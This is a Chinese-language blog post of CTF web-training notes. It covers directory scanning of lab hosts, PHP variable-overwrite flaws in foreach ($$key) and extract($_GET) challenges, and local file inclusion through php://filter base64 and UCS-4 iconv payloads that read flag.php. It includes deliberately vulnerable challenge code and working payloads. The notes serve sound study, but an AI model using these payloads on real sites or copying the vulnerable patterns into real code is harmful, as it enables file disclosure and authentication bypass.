DGZ's Blog.

深信服培训记录-Web

Word count: 1.4kReading time: 5 min
2020/04/22 Share

前言:
四个部分:操作系统、Web服务器、Web语言以及数据库
万变不离其宗,web题目离不开这四个方向

出一个web题目相当于搭一个网站

获取flag的方式:信息获取和权限获取

LAMP系统:

LAMP含义:一个web系统的组成部分只有四个方面:操作系统、Web服务软件(apache、nginx)、Web语言以及数据库,这个是解题的基础
Linux,操作系统
Apache,网页服务器
MariaDB或MySQL,数据库管理系统(或者数据库服务器)
PHP、Perl或Python,脚本语言

web系统中的漏洞无论是什么原因造成的,都可以被分类到以上这四个方面。

关键在于如何判断哪一块出了问题,分析顺序:

1.探明清楚web系统的语言、框架,首先满足能访问其正常功能
2.只要有登陆界面、数据库功能、输入框一般是sql注入(存在数据库一般都有数据库的考点)
3.接着扫描目录,看看有没有源码或者其它提示性文件(利用wscan)
4.寻找输入点(输入框、文件上传点、XSS点等),根据语言特性,进行payload测试,挖掘语言上的漏洞
5.最后再考虑是否是操作系统或者web服务器的漏洞,这一块基本都会涉及到webpwn方面的知识

利用wscan扫描目录

url地址:http://47.101.62.118:30026/
源码扫描工具:CTF-WSCAN-MASTER
下载wscan后修改config.pyKEY_WORDS = ['flag','ctf', 'admin','index','hint','hints']
扫描此网站,命令:

1
python .\ctf-wscan.py http://47.101.62.118:30026/

输出结果
1
2
3
4
5
6
7
8
[200] => robots.txt
[200] => index.php~
[200] => www.zip
[200] => www.zip
[200] => index.html
[200] => hints.txt
[200] => index.html
output at 47.101.62.118.30026.txt

其中www.zip文件产生的原因是网站的开发者习惯地把源码备份在根目录下
index.php~ index.bak是index.php的备份文件,就像linux换源一样
利用hints.txt和index.php~可以获得flag

Web解题思路之——语言

主要分为前端语言和后端语言
前端语言是网站服务器与用户交互
后端语言是跟网站与服务器进行交互
JJOUu6.png

$$的变量覆盖

变量覆盖

在某个变量被赋值了之后,代码里面写有一串可以等价于赋值语句的其他语句

php是弱类型语言,没有特别处理会把所有变量都当做字符串,无论echo时加不加双引号

1
2
3
4
5
6
7
8
9
10
11
<?php
$a="hello";
$hello=" i am hello";
echo "$a"; #输出hello
echo "</br>";
echo "$$a"; #输出$hello 对于引号内两个$连用,php只会解析一次,靠近变量的那一个
echo "</br>";
echo "${$a}"; #输出 i am hello
echo "</br>";
echo $$a; #输出 i am hello
?>

php中的foreach 遍历数组导致的变量覆盖

get是后端对前端的请求,post是前端向后端发送数据
$_GET数组

1
2
3
4
5
6
7
<?php
if (isset($_GET))
{
var_dump();
}
$smity=array("a"=>"1","c"=>2);
var_dump($smity);

JJxiMn.png
题目源代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include"flag2.php";
highlight_file(__FILE__);
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("BugsBunnyCTF is here :p…");
if ( !isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $key => $value) #变量转移
$$key = $$value;
foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST["flag"] !== $flag )
die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);

利用变量转移,对于$$key = $$value;如果我们get传参a=1,那么就有$a=$1,此时$a变成了$1的值
而变量覆盖是在$$key = $value;如果我们post传参flag=1,那就有$flag=1

也就是先把flag转移到已有的变量上,即get传参?_200=flag再post任意传参flag=1

没有hackbar的话,可以使用curl命令

curl url -d “”
-d代表post传参,引号里面是post需要传递的信息

JYSlE6.png

php中的extract()函数导致的变量覆盖

JYCoPf.png
题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
include "flag.php";
extract($_GET);
if (isset($gift))
{
$content = $flag;
if ($gift === $content)
{
highlight_file("flag.php");
}
else
{
var_dump($gift);
var_dump($content);
echo no;
}
}
?>

我们首先要传参gift进入判断,若$gift === $content,也就是要让gift内容与flag内容一致,才显示flag.php的内容,但是显然我们很难做到,所以我们这里利用extract($_GET),覆盖掉原来的flag.php中的变量flag,达到$gift === $content的结果
所以payload:?gift=1&flag=1

文件包含

url:http://39.105.136.196/include/index.php
题目源码:

1
2
3
4
5
<?php
highlight_file(__FILE__);
$b=$_GET['id'];
include($b);
?>

payload:
1
http://39.105.136.196/include/index.php?id=php://filter/convert.base64-encode/resource=./flag.php

apache把内容当作文本,所以显示出来了
另外还可以用php://filter/convert.quoted-printable-encode/resource=flag.php
但是我弄不出来(怀疑关了服务器)

推荐了一个网站:https://www.sojson.com/

接下来是四位一反转,比较新的内容
UCS实战中很少过滤

1
2
php://filter//convert.iconv.UCS-4LE.UCS-4BE/resource=./flag.php
http://39.105.136.196/include/index.php?id=php://filter//convert.iconv.UCS-4LE.UCS-4BE/resource=./flag.php

利用php可以解码,字符串要是4的倍数
1
2
3
4
echo iconv("UCS-4LE","UCS-4BE","字符串")
比如
echo iconv("UCS-4LE","UCS-4BE","flagflag");
# 输出galfgalf

什么是phar
JYAzgf.png

JYAbHH.png

文件上传

http://47.101.62.118:30023/

CATALOG
  1. 1. 利用wscan扫描目录
  2. 2. Web解题思路之——语言
  3. 3. $$的变量覆盖
  4. 4. php中的foreach 遍历数组导致的变量覆盖
  5. 5. php中的extract()函数导致的变量覆盖
  6. 6. 文件包含
  7. 7. 文件上传